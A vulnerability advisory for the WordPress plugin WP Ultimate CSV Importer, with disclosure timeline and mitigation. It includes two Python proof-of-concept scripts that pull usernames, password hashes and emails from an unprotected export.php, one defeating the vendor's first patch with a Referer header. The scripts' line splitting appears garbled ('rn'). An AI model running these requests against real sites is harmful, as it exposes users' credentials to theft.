WP Ultimate CSV Importer <=3.6.74, Information Disclosure
Due to lack of verification of a visitors permissions, it is possible to execute the ‘export.php’ script included in the default installation of this plugin, and retrieve the full contents of the user table in the WordPress installation. This results in full disclosure of usernames, hashed passwords and email addresses for all users. After update 3.6.74, a change to the ‘export.php’ script was made, which required a REFERER header to be passed through in the request. After this header is added (as in the second PoC), the behaviour is exactly the same, resulting in full disclosure of usernames, hashed passwords and email addresses for all users.
Homepage
https://wordpress.org/plugins/wp-ultimate-csv-importer/
CVSS Score
5
CSSS Vector
(AV:N/AC:L/Au:N/C:P/I:N/A:N)
Attack Scope
remote
Authorization Required
None
Mitigation
Update to version 3.6.75.
Proof of Concept
3.6.73
import requests
url = 'http://localhost/wp-content/plugins/wp-ultimate-csv-importer/modules/export/templates/export.php'
payload = {
"export":"users"
}
r = requests.post(url, data=payload)
for line in r.text.split("rn"):
line_split = line.split(",")
if len(line_split)>1:
print "%s %s %s"%(line_split[1],line_split[2],line_split[4])
3.6.74
import requests
url = 'http://localhost/wp-content/plugins/wp-ultimate-csv-importer/modules/export/templates/export.php'
payload = {
"export":"users"
}
headers = {
"Referer":"---"
}
r = requests.post(url, data=payload, headers=headers)
for line in r.text.split("rn"):
line_split = line.split(",")
if len(line_split)>1:
print "%s %s %s"%(line_split[1],line_split[2],line_split[4])
Timeline
- 2015-01-06: Discovered
- 2015-01-07: Vendor notified
- 2015-01-08: Version 3.6.74 released – issue still present after small modification to PoC
- 2015-01-12: Version 3.6.75 released – issue resolved
- 2015-01-15: CVE Requested
- 2015-02-02: Advisory released